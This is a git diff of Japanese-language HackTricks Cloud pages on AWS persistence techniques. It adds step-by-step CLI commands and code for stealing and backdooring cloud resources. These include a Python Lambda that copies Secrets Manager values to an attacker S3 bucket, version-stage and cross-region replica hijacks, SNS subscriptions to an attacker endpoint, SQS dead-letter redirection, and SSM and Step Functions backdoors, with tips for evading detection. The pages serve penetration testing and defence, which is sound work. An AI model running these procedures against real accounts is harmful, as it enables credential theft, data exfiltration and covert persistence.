+- 権限: `secretsmanager:RotateSecret`, `lambda:InvokeFunction`（攻撃者 Lambda 上で）, `iam:CreateRole/PassRole/PutRolePolicy`（または AttachRolePolicy）— Lambda 実行ロールに `secretsmanager:GetSecretValue` とできれば `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`（ローテーション維持のため）を付与できること、シークレットの KMS キーに対する KMS `kms:Decrypt`、および exfiltration 用の `s3:PutObject`（または外部送信許可）。
+- ローテーション有効なターゲットの secret id (`SecretId`)、もしくはローテーションを有効化できる権限。
+
+- 影響
+- 攻撃者は正規のローテーションコードを改変せずにシークレット値を取得できます。変更されるのはローテーション設定のみで、攻撃者の Lambda を指すようになります。発見されなければ、今後のスケジュールされたローテーションも継続して攻撃者の関数を呼び出します。
+
+- 攻撃手順 (CLI)
+1) 攻撃者の受け取り先と Lambda ロールを用意
+- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレット読み取りと S3 書き込み（必要に応じてログ/KMS の権限）を付与します。
+2) 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイ
+- 最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させてサービスを健全に保つだけでも十分です。
+3) ローテーションを差し替えてトリガー
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) そのシークレットに対する S3 プレフィックスを一覧表示して JSON アーティファクトを検査し、exfiltration を確認します。
+5) （任意）検出を減らすために元のローテーション Lambda を復元します。
+
+- Example attacker Lambda (Python) exfiltrating to S3
+- Environment: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
+
+Secrets Manager の version staging ラベルを悪用して、攻撃者が制御するシークレットのバージョンを植え付け、カスタムステージ（例: `ATTACKER`）の下に隠したまま、プロダクションは元の `AWSCURRENT` を使用し続けさせます。任意のタイミングで `AWSCURRENT` を攻撃者のバージョンに移して依存ワークロードを汚染し、その後検出を最小化するために元に戻します。これにより、シークレット名や回転設定を変更せずに、ステルスなバックドア永続化と迅速な利用時操作が可能になります。
+
+- 要件
+- 権限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (検証用)
+- 対象のシークレット ID（リージョン内）
+
+- 影響
+- 隠された攻撃者制御のシークレットバージョンを維持し、必要に応じて `AWSCURRENT` をそれに切り替えることで、同じシークレット名を解決するすべてのコンシューマに影響を与えます。素早い切り替えと即時の復元により、検出の可能性を下げつつ利用時の侵害を実現します。
+
+- 攻撃手順 (CLI)
+- 準備
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>CLI コマンド</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- 注意
+- `--client-request-token` を指定すると、Secrets Manager はそれを `VersionId` として使用します。`--version-stages` を明示的に設定せずに新しいバージョンを追加すると、デフォルトで `AWSCURRENT` が新しいバージョンに移動し、以前のものが `AWSPREVIOUS` としてマークされます。
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
+
+- 要件
+- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- replica Region で: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) により攻撃者主体が `kms:Decrypt` できるようにすること。
+- 昇格した secret の読み取りアクセスを受ける攻撃者主体 (user/role)。
+
+- 影響
+- 攻撃者が管理する KMS CMK と permissive resource policy の下にある standalone replica を通じて、secret 値への永続的なクロスリージョンアクセス経路が確立されます。元の Region の primary secret は変更されません。
+
+- 攻撃 (CLI)
+- Vars
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) レプリカリージョンに攻撃者が制御する KMS キーを作成する
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) attacker KMS key を使って secret を R2 に複製する
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) R2でレプリカをスタンドアロンに昇格させる
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) R2 の standalone secret に permissive resource policy を付与する
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) R2 の attacker principal からシークレットを読み取る
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
deleted file mode 100644
index eb859b947..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ /dev/null
@@ -1,77 +0,0 @@
-# AWS - SNS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistence
-
-**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きする権限を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
-次のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます：
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### サブスクライバーの作成
-
-すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのサブスクライバーを作成**することができます。
-
-**トピックがFIFOタイプ**の場合、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
new file mode 100644
index 000000000..6f7dcba90
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
@@ -0,0 +1,113 @@
+# AWS - SNS 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+詳細は次を参照:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### 永続化
+
+**SNS topic** を作成する際、IAM policy で **誰が読み書きできるか** を指定する必要があります。外部アカウント、ARN of roles、または **"\*"** を指定することも可能です。\
+次のポリシーは、**`MySNS.fifo`** という SNS topic に対して AWS 内のすべてのユーザーに読み書きアクセスを与えます:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### サブスクライバーの作成
+
+すべてのトピックからのメッセージを引き続き持ち出すため、攻撃者は **すべてのトピックに対してサブスクライバーを作成することができる**。
+
+トピックが **FIFO タイプ** の場合、プロトコルが **SQS** のサブスクライバーのみ使用できることに注意してください。
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### 隠密で選択的な exfiltration（FilterPolicy を MessageBody に対して使用）
+
+あるトピックに対して `sns:Subscribe` と `sns:SetSubscriptionAttributes` を持つ攻撃者は、JSON ボディが非常に狭いフィルタ（例: `{"secret":"true"}`）に一致するメッセージのみを転送するステルスな SQS サブスクリプションを作成できます。これにより通信量と検出のリスクが低減され、機密レコードの exfiltration が可能になります。
+
+**潜在的な影響**: 被害者トピックからターゲットとなる SNS メッセージのみを低ノイズで隠密に exfiltration する。
+
+手順 (AWS CLI):
+- 攻撃者の SQS キュー ポリシーが被害者の `TopicArn` からの `sqs:SendMessage` を許可していることを確認する（Condition `aws:SourceArn` が `TopicArn` と等しい）。
+- トピックに対して SQS subscription を作成:
+
+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- フィルタを MessageBody に対して動作させ、`secret=true` のみをマッチさせる:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- オプション（ステルス）: RawMessageDelivery を有効にして、受信側に生のペイロードのみを届ける:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- 検証: 2 件のメッセージを publish し、攻撃者キューに届くのが最初のメッセージのみであることを確認する。例のペイロード:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- クリーンアップ: 永続化テストのために作成した場合は、サブスクリプションを解除し攻撃者の SQS キューを削除する。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
deleted file mode 100644
index 215f6ee81..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - SQS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### リソースポリシーの使用
-
-SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することが可能です。\
-次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのアクセスを許可します：
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**（再度追加する必要があります）。これについては、次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
new file mode 100644
index 000000000..5976b182b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
@@ -0,0 +1,47 @@
+# AWS - SQS 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### リソースポリシーの使用
+
+SQSでは、IAM policyで**誰が読み書きできるか**を指定する必要があります。外部アカウントやロールのARN、または**"*"**を指定することも可能です。\
+次のポリシーは、AWS内の全員に対して、**MyTestQueue**というキュー内のすべてへのアクセスを許可します:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> キューに新しいメッセージが投入されるたびに、**attacker's account 内の Lambda をトリガーすることもできます**（再度 re-put する必要があります）。これを行うには次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+### その他の SQS 永続化テクニック
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
new file mode 100644
index 000000000..134be3da5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+SQS Dead-Letter Queues (DLQs) を悪用して、victim source queue の RedrivePolicy を attacker-controlled queue に向けることでデータを密かに siphon できます。maxReceiveCount を低く設定し、正常な処理失敗を誘発するか待つことで、メッセージは producers や Lambda event source mappings を変更せずに自動的に attacker DLQ に迂回されます。
+
+## 悪用される権限
+- sqs:SetQueueAttributes を victim source queue に対して (RedrivePolicy を設定するため)
+- sqs:SetQueueAttributes を attacker DLQ に対して (RedriveAllowPolicy を設定するため)
+- 高速化のためのオプション: sqs:ReceiveMessage を source queue に対して
+- セットアップのオプション: sqs:CreateQueue, sqs:SendMessage
+
+## 同一アカウントでのフロー (allowAll)
+
+準備 (attacker account or compromised principal):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+実行（被害者アカウント内で、侵害されたプリンシパルとして実行）：
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+加速（任意）:
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+検証:
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+例の証拠（Attributes に DeadLetterQueueSourceArn が含まれる）:
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Cross-Account Variant (byQueue)
+攻撃者のDLQに対してRedriveAllowPolicyを設定し、特定の被害者のソースキューARNのみを許可する:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## 影響
+- 自動的に被害者の SQS ソースキューから失敗したメッセージを攻撃者が管理する DLQ に迂回させることで、最小限の運用ノイズかつ送信元や Lambda マッピングの変更は不要で、ステルス性が高く永続的な data exfiltration/persistence を実現します。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
new file mode 100644
index 000000000..f1b341f5d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+SQS キューのリソースポリシーを悪用して、条件 aws:PrincipalOrgID を使用し、ターゲットの AWS Organization に属する任意の principal に対して Send、Receive、ChangeMessageVisibility を静かに付与します。これにより、組織スコープの隠れた経路が作成され、明示的なアカウントや role ARNs、または star principals のみを検出するコントロールを回避することが多くなります。
+
+### Backdoor policy (attach to the SQS queue policy)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### 手順
+- AWS Organizations API を使って Organization ID を取得する。
+- SQS queue ARN を取得し、上記のステートメントを含む queue policy を設定する。
+- その Organization に属する任意の principal から、キューにメッセージを送信・受信してアクセスを検証する。
+
+### 影響
+- 指定した AWS Organization 内の任意のアカウントから SQS messages を読み書きできる、Organization 全体への隠れたアクセス。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
deleted file mode 100644
index 01520a8d8..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - SSM パーシステンス
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-詳細については、次を確認してください:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### ssm:CreateAssociationを使用したパーシステンス
-
-**`ssm:CreateAssociation`** の権限を持つ攻撃者は、SSMによって管理されるEC2インスタンスでコマンドを自動的に実行するためのステートマネージャーアソシエーションを作成できます。これらのアソシエーションは、固定の間隔で実行されるように構成でき、インタラクティブなセッションなしでバックドアのようなパーシステンスに適しています。
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> この永続化方法は、EC2インスタンスがSystems Managerによって管理されており、SSMエージェントが実行中で、攻撃者が関連付けを作成する権限を持っている限り機能します。インタラクティブセッションや明示的なssm:SendCommand権限は必要ありません。**重要:** `--schedule-expression`パラメータ（例: `rate(30 minutes)`）は、AWSの最小間隔である30分を尊重する必要があります。即時または一度きりの実行の場合は、`--schedule-expression`を完全に省略してください — 関連付けは作成後に一度実行されます。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
new file mode 100644
index 000000000..34592f354
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
@@ -0,0 +1,27 @@
+# AWS - SSM 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### `ssm:CreateAssociation` を使用した永続化
+
+権限 **`ssm:CreateAssociation`** を持つ攻撃者は、State Manager Association を作成して、SSM によって管理されている EC2 インスタンス上でコマンドを自動実行できます。これらの Association は固定間隔で実行するように設定でき、対話型セッションを必要としないバックドア的な永続化に適しています。
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> この永続化手法は、EC2 インスタンスが Systems Manager によって管理されており、SSM エージェントが稼働していて、攻撃者に associations を作成する権限がある限り機能します。対話型セッションや明示的な ssm:SendCommand 権限は必要ありません。 **重要:** `--schedule-expression` パラメータ（例: `rate(30 minutes)`）は AWS の最小間隔 30 分を遵守する必要があります。即時または一度だけ実行する場合は、`--schedule-expression` を完全に省略してください — association は作成後に1回実行されます。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
deleted file mode 100644
index 69056ad9f..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - Step Functions Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### ステップ関数のバックドア
-
-ステップ関数にバックドアを仕掛けて、持続性のトリックを実行させることで、実行されるたびに悪意のあるステップを実行させることができます。
-
-### バックドアリングエイリアス
-
-AWSアカウントがステップ関数を呼び出すためにエイリアスを使用している場合、新しいバックドア付きのステップ関数を使用するようにエイリアスを変更することが可能です。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
new file mode 100644
index 000000000..aaf14d14c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Step function に Backdoor を仕込み、任意の persistence トリックを実行させることで、実行されるたびに攻撃者の悪意あるステップが実行されるようにします。
+
+### Backdooring aliases
+
+AWS アカウントが aliases を使用して step functions を呼び出している場合、alias を変更して step function の新しい backdoored バージョンを使用させることが可能です。
+
+{{#include ../../../../banners/hacktricks-training.md}}
